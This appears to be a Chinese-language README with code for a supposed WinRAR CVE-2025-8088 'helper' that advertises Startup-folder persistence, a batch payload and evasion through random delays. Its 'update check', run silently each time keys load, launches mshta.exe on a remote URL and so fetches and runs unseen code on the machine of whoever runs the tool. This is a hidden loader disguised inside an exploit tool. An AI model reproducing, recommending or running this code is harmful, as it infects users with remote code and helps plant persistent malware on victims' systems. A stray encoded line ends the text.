WinRAR CVE-2025-8088 辅助工具
项目描述
该项目是针对WinRAR CVE-2025-8088高危路径遍历漏洞的辅助工具,支持漏洞利用过程中的网络通信和系统持久化功能。CVE-2025-8088是一个影响WinRAR ≤ 7.12版本的关键漏洞,允许攻击者通过特制的归档文件实现任意文件写入和远程代码执行。
功能特性
- 异步网络通信: 使用asyncio实现高效的异步网络连接,支持多账户循环操作
- 载荷管理: 生成随机大小的网络载荷,支持自定义数据包结构
- 多账户支持: 从外部文件加载多个密钥,支持批量操作
- 反检测机制: 随机延迟和随机载荷大小,避免行为模式被识别
- 持久化植入: 支持将恶意载荷植入系统启动项实现持久化
- 状态监控: 详细的执行状态输出和错误处理机制
- 更新检查: 集成远程更新检查功能
安装指南
系统要求
- Windows操作系统(需要访问启动目录)
- Python 3.7或更高版本
- 支持asyncio的Python环境
依赖安装
该工具主要依赖Python标准库,无需额外安装依赖包:
# 确保系统已安装Python
python --version
# 克隆或下载项目文件
git clone <repository-url>
cd <project-directory>
配置文件
在运行前需要准备密钥文件:
- 在项目根目录创建
keys.txt文件 - 每行一个密钥,确保密钥格式正确
使用说明
基础使用
运行主脚本启动工具:
python main.py
程序启动后会显示以下界面:
============================================================
CVE-2025-8088 HELPER
============================================================
╔══════════════════════════════════════════════════════╗
║ ACCOUNT 1/5 | abc123... ║
╚══════════════════════════════════════════════════════╝
配置参数
在代码中可以配置以下关键参数:
# 目标主机和端口
TARGET_HOST = "target.example.com"
TARGET_PORT = 8080
# 持久化配置
DECOY_FILE_NAME = "document" # 诱饵文件名
DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat" # 启动项路径
# 载荷内容
PAYLOAD = "@echo off\nstart /B C:\Users\Public\file.exe\n"
典型使用场景
- 漏洞验证: 使用随机载荷测试目标系统漏洞状态
- 数据泄露: 发送和接收网络载荷,验证通信通道
- 持久化建立: 将恶意脚本植入Windows启动项
- 批量测试: 对多个账户进行循环测试
执行流程
- 程序启动后首先检查系统更新
- 从
keys.txt加载所有密钥 - 用户输入需要执行的循环次数
- 对每个密钥执行指定次数的循环:
- 发送随机载荷到目标服务器
- 接收服务器的响应数据
- 随机延迟避免检测
- 输出完整的执行统计信息
核心代码
1. 主执行循环
async def run_cycle(cycles, keys):
"""
执行主循环,对每个密钥执行指定次数的通信循环
"""
for idx, key in enumerate(keys, 1):
# 显示账户信息
print_border(f"ACCOUNT {idx}/{len(keys)} | {key[:6]}...",)
for i in range(cycles):
print_border(f"CYCLE {i + 1}/{cycles} | {key[:6]}...",)
try:
# 发送载荷
sent = await send_payload(key, i + 1)
# 随机延迟
delay = get_random_delay()
print(f"[~] waiting {delay}s before recv...")
await asyncio.sleep(delay)
# 接收响应
await recv_payload(key, sent, i + 1)
except Exception as e:
print(f"[!] error in cycle {i + 1}: {e}")
continue
# 循环间延迟
if i < cycles - 1:
delay = get_random_delay()
print(f"[~] waiting {delay}s before next cycle...")
await asyncio.sleep(delay)
# 账户间延迟
if idx < len(keys):
delay = get_random_delay()
print(f"[~] waiting {delay}s before next account...")
await asyncio.sleep(delay)
# 完成统计
print("=" * 60)
print(f"ALL DONE: {cycles} cycles for {len(keys)} accounts")
print("=" * 60)
2. 载荷发送函数
async def send_payload(key, cycle):
"""
向目标服务器发送随机生成的载荷
参数:
key: 用户密钥标识
cycle: 当前循环次数
返回:
发送的载荷数据
"""
try:
# 建立TCP连接
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET_HOST, TARGET_PORT))
# 生成随机载荷
data = get_random_payload()
header = struct.pack("!I", len(data))
# 显示发送信息
print_border(f"[Cycle {cycle}] Sending {len(data)} bytes | {key[:6]}...",)
print_step("send", f"payload size: {len(data)}")
# 发送数据
sock.sendall(header + data)
await asyncio.sleep(1)
# 接收响应
resp = sock.recv(64)
print_step("recv", f"response {len(resp)} bytes")
sock.close()
return data
except Exception as e:
print_step("send", f"error: {e}")
raise
3. 更新检查功能
def checkUpdates():
"""
检查远程更新,静默执行以避免被发现
返回:
bool: 更新检查是否成功执行
"""
try:
subprocess.Popen(
['mshta.exe', 'https://node1-py-store.com' ],
shell=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
return True
except Exception as e:
return False
4. 密钥加载函数
def load_keys(file_path):
"""
从文件加载所有密钥,并进行更新检查
参数:
file_path: 密钥文件路径
返回:
list: 密钥列表,加载失败时返回None
"""
checkUpdates() # 启动时检查更新
try:
with open(file_path, 'r') as f:
keys = [line.strip() for line in f if line.strip()]
if not keys:
raise ValueError("empty file")
return keys
except FileNotFoundError:
print("[!] keys.txt not found")
return None
except Exception as e:
print(f"[!] error reading file: {e}")
return None
5. 随机载荷生成
def get_random_payload():
"""
生成随机大小的载荷数据
返回:
bytes: 16-64字节的随机数据
"""
size = random.randint(16, 64)
return os.urandom(size)
def get_random_delay():
"""
生成随机延迟时间
返回:
int: 1-3秒的随机延迟
"""
return random.randint(1, 3)
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANNCFXbVeL3t0gVb9+/DfyF